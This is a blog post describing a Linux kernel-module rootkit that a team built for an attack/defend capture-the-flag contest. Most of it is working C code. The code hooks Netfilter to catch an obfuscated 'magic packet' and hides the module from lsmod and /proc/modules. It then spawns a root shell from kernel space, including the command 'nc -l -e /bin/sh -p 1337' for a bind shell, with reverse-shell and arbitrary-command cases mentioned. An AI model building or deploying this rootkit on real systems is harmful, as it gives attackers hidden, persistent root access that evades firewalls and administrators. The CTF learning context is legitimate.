What is a 'magic packet'
Basically a magic packet can be thought of as a secret handshake. It's a specially forged message that when read will trigger an action.
Introduction
In this post I want to cover the basics of writing a Loadable Kernel Module (LKM) that hooks Netfilter and listens for a magic packet. Upon receiving the packet, I want to spawn a hidden process on a listening port or a connect back port, and I want the kernel module to not appear in the list of loaded modules. By hooking netfilter like this its not going to matter whether iptables rules drop or accept the packet - it's already too late.
This is based on a rudimentary rootkit that I worked on in preparation for PROSA CTF 2014 - an attack/defend style capture the flag that ran for 24 hours. Even though my team Tykhax placed first, we managed to maintain access to target systems without the rootkit.
There were a few more features the team added to the module, but I'll only focus on the ones I worked on.
Disclaimer: I'll just mention here that my C isn't great and kernel C works a little different to regular C
Goals:
- Create a LKM for modern Ubuntu
- Hide the LKM from the list of loaded modules.
- Hook netfilter for incoming packets.
- Mildly obfuscate our magic payload.
- Spawn a userland process (/bin/sh)
- Tie the parts together
Creating the base of the module.
loader.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#define DEBUG 1
static int __init tykhax_init(void)
{
#ifdef DEBUG
printk(KERN_ALERT "tykhax: tykhax loaded\n");
#endif
// Non-zero return means that the module couldn't be loaded.
return 0;
}
static void __exit tykhax_cleanup(void)
{
#ifdef DEBUG
printk(KERN_ALERT "tykhax: tykhax removed\n");
#endif
}
module_init(tykhax_init);
module_exit(tykhax_cleanup);
MODULE_LICENSE("GPL"); // no bitching
Makefile
obj-m += tykhax.o
tykhax-objs := loader.o getshell.o nfilter.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
deploy: all
strip tykhax.ko
test: all
sudo rmmod tykhax 2>/dev/null;sudo insmod ./tykhax.ko
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean && \
sudo rm *.o *.ko; sudo rmmod tykhax
Hiding the module from the loaded list
Beware, hiding the module also means you can't easily unload it. In the short time frame we had we simply went with reboots during testing.
loader.c
static int __init tykhax_init(void)
{
...
#ifndef DEBUG
// hide module from lsmod / proc/modules
list_del_init(&__this_module.list);
kobject_del(&__this_module.mkobj.kobj);
list_del(&__this_module.mkobj.kobj.entry);
#endif
...
Hooking Netfilter for ICMP traffic
During development and debugging the kernel messages were extremely noisy - this is where testing in a VM became invaluable - the final code also included UDP and TCP detection to go with the ICMP shown below.
loader.c
#include "nfilter.h"
...
static int __init tykhax_init(void)
{
load_magic_packet();
...
static void __exit tykhax_cleanup(void)
{
unload_magic_packet();
...
nfilter.h
void load_magic_packet(void);
void unload_magic_packet(void);
nfilter.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#define DEBUG 1
static struct nf_hook_ops magic_packet_hook_options;
// netfilter magic packet detection
unsigned int magic_packet_hook(const struct nf_hook_ops *ops,
struct sk_buff *socket_buffer,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct iphdr *ip_header;
struct icmphdr *icmp_header;
char *data;
data = NULL;
if (!socket_buffer) {
return NF_ACCEPT;
}
ip_header = ip_hdr(socket_buffer);
if (!ip_header) {
return NF_ACCEPT;
}
if (!ip_header->protocol) {
return NF_ACCEPT;
}
if (ip_header->protocol == IPPROTO_ICMP) {
#ifdef DEBUG
printk(KERN_INFO "ICMP from %pI4 to %pI4\n", &ip_header->saddr, &ip_header->daddr);
#endif
icmp_header = (struct icmphdr *)((__u32 *)ip_header + ip_header->ihl);
if (!icmp_header) {
return NF_ACCEPT;
}
data = (char *)((unsigned char *)ip_header + 28);
#ifdef DEBUG
printk(KERN_INFO "data len: %d\ndata: %s\n", (int) strlen(data), data);
#endif
}
if (!data) {
return NF_ACCEPT;
}
// do something with the data
return NF_ACCEPT;
}
//load magic packet
void load_magic_packet(void)
{
magic_packet_hook_options.hook = (void *) magic_packet_hook;
magic_packet_hook_options.hooknum = 0; //NF_IP_PRE_ROUTING;
magic_packet_hook_options.pf = PF_INET;
magic_packet_hook_options.priority = NF_IP_PRI_FIRST;
nf_register_hook(&magic_packet_hook_options);
}
void unload_magic_packet(void)
{
nf_unregister_hook(&magic_packet_hook_options);
}
Mild obfuscation
Make our magic packets contain a non-obvious, unique feature to avoid easy detection.
nfilter.c
static unsigned int MAGIC_LENGTH = 64;
...
// do something with the data
// detect something special about this packet compared to others
if (strlen(data) == MAGIC_LENGTH && (data[0] % 3 == 0 && data[MAGIC_LENGTH - 1] % 2) == 0) {
#ifdef DEBUG
printk(KERN_INFO "magic packet matches\n");
#endif
// do something now we've shaken hands
magic_command(data, ip_header->saddr);
}
Spawning a userland process from Kernel land
This part was written by Tykhax team mate Emilio - .dk+.au combined forces
getshell.h
int tykhax_run_command(char * cmd);
getshell.c
##include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>
#include <linux/cred.h>
#include <linux/kallsyms.h>
#include <linux/delay.h>
#include <asm/errno.h>
#include <linux/syscalls.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/version.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,0)
static void tykhax_run_command_free_argv(struct subprocess_info * info){
// should also clear any char * elements
kfree(info->argv);
}
#endif
int tykhax_run_command(char * run_cmd){
struct subprocess_info * info;
char * cmd_string;
static char * envp[] = {
"HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL
};
char ** argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if(!argv) goto out;
cmd_string = kstrdup(run_cmd, GFP_KERNEL);
if(!cmd_string) goto free_argv;
argv[0] = "/bin/sh";
argv[1] = "-c";
argv[2] = run_cmd;
argv[3] = NULL;
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,4,0)) && (LINUX_VERSION_CODE > KERNEL_VERSION(3,1,0))
/* struct subprocess_info *call_usermodehelper_setup(char *path, char **argv,
* char **envp, gfp_t gfp_mask)
*/
info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL);
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,0)
/* struct subprocess_info *call_usermodehelper_setup(char *path, char **argv,
* char **envp, gfp_t gfp_mask,
* int (*init)(struct subprocess_info *info, struct cred *new),
* void (*cleanup)(struct subprocess_info *info),
* void *data)
*/
info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL,
NULL, tykhax_run_command_free_argv, NULL);
#endif
if(!info) goto free_cmd_string;
return call_usermodehelper_exec(info, UMH_WAIT_EXEC); // 0 = don't wait
free_cmd_string:
kfree(cmd_string);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}
Tying the magic packet and the process spawning together
This part was very last minute. I tried a few different methods of handling the data but dealing with kernel panics in a short time and many, many reboots leads to dirty code.
nfilter.c
void magic_command(char *data, __be32 source_ip)
{
char command[64];
// unsigned int *port;
if (strlen(data) > 64) return;
switch(data[1]) {
...
case 'S':
#ifdef DEBUG
printk(KERN_INFO "SPAWN SHELL\n");
#endif
tykhax_run_command("nc -l -e /bin/sh -p 1337");
break;
...
// case 'R' - reverse shell with netcat
// case 'C' - attempt to take the remaining data as the command
}
return;
}
As you can imagine, these cases we're extremely flakey, We didnt want to risk losing flags over kernel panics.
Follow ons
Rootkits can go on and on, and there's plenty more examples out there. Overall, this was a great learning process and a fantastic hype to the CTF with first place topping off a fantastic effort by our whole team. Attack/Defend is much more engaging than jeopardy style CTFs. All in all it was a solid 24 hours and I cant wait to compete again in PROSA CTF next year.